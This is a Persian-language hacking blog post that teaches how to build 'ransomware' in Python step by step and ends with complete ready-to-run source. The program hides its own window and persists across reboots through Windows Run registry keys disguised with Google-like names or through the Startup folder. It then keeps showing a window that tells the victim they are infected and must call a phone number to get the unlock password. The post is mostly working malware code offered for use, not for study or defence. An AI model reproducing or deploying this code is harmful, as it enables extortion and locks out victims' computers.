maker32

آموش هک و امنیت

maker32

آموش هک و امنیت

یک وبلاگ برای گسترش اطلاعات سایبری

دنبال کنندگان ۱ نفر
این وبلاگ را دنبال کنید
دسته بندی مطالب
آخرین نظرات
  • ۷ شهریور ۰۱، ۲۱:۳۰ - maker 32
    :)
نویسندگان

آموزش ساخت باج افزار در پایتون

دوشنبه, ۱۴ شهریور ۱۴۰۱، ۰۴:۴۷ ب.ظ

سلامم

 

می خوایم با هم یه باج افزار خفن با پایتون بسازیم :)

 

 

 

 

 

 

ویژگی های این اج افزار که در ادامه می سازیم:

       *دارای محیط گرافیکی

       *غیر قابل بستن (حتی در تسک منجر)

       *با هر بار ریستارت شدن بالا میاد

       *دارای قابلیت نمایش پیام شما

 

 

 

 

خوب بزن بریم :))))))))

 

 

 

 

 

 

برای اینکار ما نیاز به چندین کتابخونه داریم پس با دستور زیر به پروژمون اضافش می کنیم

# for making GUI project
from tkinter import *

# for close project   and  for find project to desktop  and  for hide project
import sys, win32gui, win32con

# rigestry
import _winreg
import os
import shutil

 

 

 

خوب حالا که اضافه کردیم باید اول پروژمون رو کاملا مخفی کنیم که کاربر نتونه باج افزار رو غیر فعال کنه:

hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin, win32con.SW_HIDE)

 

 

 

حالا یه کار می کنیم که هر بار کامپیوتر ریستارت میشه این برنامه هم بالا بیاد (با ریجستری) :

 try:
    import _winreg, os, shutil
    shutil.copy2('اسم برنامتون', 'C:\\StartUp.py')
    aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)
    aKey = _winreg.OpenKey(aReg,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)
    _winreg.SetValueEx(aKey,"GoogleServerS",0,_winreg.REG_SZ,"C:\\SecurityP.py")
except:
    try:
        import winreg as reg
        key = reg.OpenKey(reg.HKEY_CURRENT_USER , "Software\Microsoft\Windows\CurrentVersion\Run" ,0 , reg.KEY_ALL_ACCESS)
        reg.SetValueEx(key ,"GoogleServerApp" , 0 , reg.REG_SZ , __file__)
        reg.CloseKey(key)
    except:
        try:
            from getpass import getuser
            import os
            path = os.getcwd()
            username = getuser()
            startup = 'C:\\Users\\"{}"\\AppData\\Roaming\\Microsoft\\Windows\\"Start Menu"\\Programs\\Startup'.format(username)   
            shutil.copy2(path, startup)
        except:
            pass

 

 

 

 

خوب حالا یه واحد def درست می کنیم  که وقتی کاربر رمز رو از ما گرفت و وارد کرد باج افزار غیر فعال بشه:

def sign_in():
    first_name = pp.get()

    if first_name == "Admin":
        sys.exit()

 

 

 

 

 

 

 

حالا از این به بعد بدنه برنامه گرافیکیمونو می سازیم که کاربر می بینه باید برنامه مون رو تو حلقه بی نهایت بندازیم که برناممون بسته نشه :

while True:


    window = Tk()

    window.title("maker32")
    window.minsize(500,300)
    window.maxsize(500,300)

الان ما اومدیم و می گیم بی نهایت بار بیا و یک پنجره بساز و تایتلش رو بزار maker32 شما می تونید عوضش کنید اون دو تای آخر هم برای اینکه پنجره مون یه ابعاد مشخص داشته باشه و کوچیک بزرگ نشه.

 

 

 

 

 

 

 

حالا اونو کاملش می کنیم :)  :

while True:


    window = Tk()

    window.title("maker32")
    window.minsize(500,300)
    window.maxsize(500,300)

    


    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text="Password").pack()

    pp = Entry(window)
    pp.pack()

    Label(window, text="").pack()
    btn = Button(window,text="Enter",command=sign_in)
    btn.pack()

حالا اومدیم و گفتیم بعد از اینکه مرحله قبلو تموم کردی بیا یک متن درست کن و بگو شما به باج افزار آلوده شدید که شما می تونید به طور کامل ادیت کنید متنرو و بعد گفتیم بیا یه متن دیگه بساز و بگو آقا بیا password رو که از ما گرفتی وارد کن

 

بعد هم یک جا ساختیم تا کاربر بتونه یک رمزو وارد کنه

 

در آخر هم یه دکمه برای  enter  کردن پسورد ساختیم

 

 

 

 

 

 

 

 

while True:


    window = Tk()

    window.title("maker32")
    window.minsize(500,300)
    window.maxsize(500,300)

    


    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text="Password").pack()


    pp = Entry(window)
    pp.pack()

    Label(window, text="").pack()
    btn = Button(window,text="Enter",command=sign_in)
    btn.pack()




    window.mainloop()

این هم دقیقا همون بالایس منتها آخرش اومدیم گفتیم بیا پنجره رو نمایشش بده :)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

سورس کد نکمیل شده و آماده:

رمز عبورش هم  Admin  هست

# for making GUI project
from tkinter import *

# for close project   and  for find project to desktop  and  for hide project
import sys, win32gui, win32con

# rigestry
import _winreg
import os
import shutil




hWin = win32gui.GetForegroundWindow()
win32gui.ShowWindow(hWin, win32con.SW_HIDE)




try:
    shutil.copy2('StartUp.exe', 'C:\\StartUp.exe')
except:
    pass

try:
    aReg = _winreg.ConnectRegistry(None,_winreg.HKEY_LOCAL_MACHINE)

    aKey = _winreg.OpenKey(aReg,r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0,_winreg.KEY_WRITE)

    _winreg.SetValueEx(aKey,"MyApp",0,_winreg.REG_SZ,"C:\\StartUp.exe")
except:
    pass





def sign_in():
    first_name = pp.get()

    if first_name == "Admin":
        sys.exit()



while True:


    window = Tk()

    window.title("maker32")
    window.minsize(500,300)
    window.maxsize(500,300)

    


    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text=" شما به باج افزار آلوده شدید برای دریافت رمز به شمار تماس: 09 مراجعه کنید").pack()
    Label(window, text="").pack()
    Label(window, text="").pack()
    Label(window, text="Password").pack()


    pp = Entry(window)
    pp.pack()

    Label(window, text="").pack()
    btn = Button(window,text="Enter",command=sign_in)
    btn.pack()




    window.mainloop()

رمز عبورش هم  Admin  هست

 

 

 

خدافظ :)
 

  • maker 32

نظرات  (۰)

هیچ نظری هنوز ثبت نشده است

ارسال نظر

نظر دادن تنها برای اعضای بیان ممکن است.
اگر قبلا در بیان ثبت نام کرده اید لطفا ابتدا وارد شوید، در غیر این صورت می توانید ثبت نام کنید.